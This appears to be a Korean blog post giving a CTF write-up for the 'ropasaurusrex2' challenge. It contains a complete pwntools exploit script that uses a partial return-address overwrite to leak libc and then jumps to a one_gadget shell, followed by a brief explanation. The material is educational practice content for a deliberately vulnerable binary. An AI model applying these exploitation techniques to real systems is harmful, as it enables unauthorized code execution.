Profile

youngsouk

youngsouk

[dimi_ctf]ropasaurusrex2

from pwn import *

#p = process('./ropasaurusrex2')
p = remote('ctf.dimigo.hs.kr', 42323)
e = ELF('.//ropasaurusrex2')

context.log_level="debug"

l_of=0x20816

payload = 'a' * 0x30  + 'b' * 7 + 'c'
payload += chr(0x16)
pause()
p.send(payload)

p.recvuntil('c')

libc = u64(p.recv().ljust(8,'\x00')) - 0x20816

payload = 'a' * 0x30 + 'b' * 8
payload += p64(libc + 0x45216)

p.send(payload)

p.interactive()

libc릭을 할 수는 있는데 입력을 받은 뒤에 프로그램이 바로 죽어버리는 문제가 있다. 이 것을 해결하기 위해서는 ret의 주소가 libc안의 주소이기 때문에 ret의 하위 1바이트를 0x16으로 변경함으로서 main으로  돌아가는 것이 가능하다. main으로 다시 돌아가 입력을 받아서 one_gadget을 이용한 익스를 따면 된다.

'CTF write-up' 카테고리의 다른 글

Tokyo Western CTF 2017 - Parrot  (0) 2019.10.02
[hackingcamp2019]bonus  (0) 2019.08.25
[hackingcamp2019]  (0) 2019.08.25
[hackingcamp2019]camp_note  (0) 2019.08.25
[dimi_ctf]ezheap  (0) 2019.07.15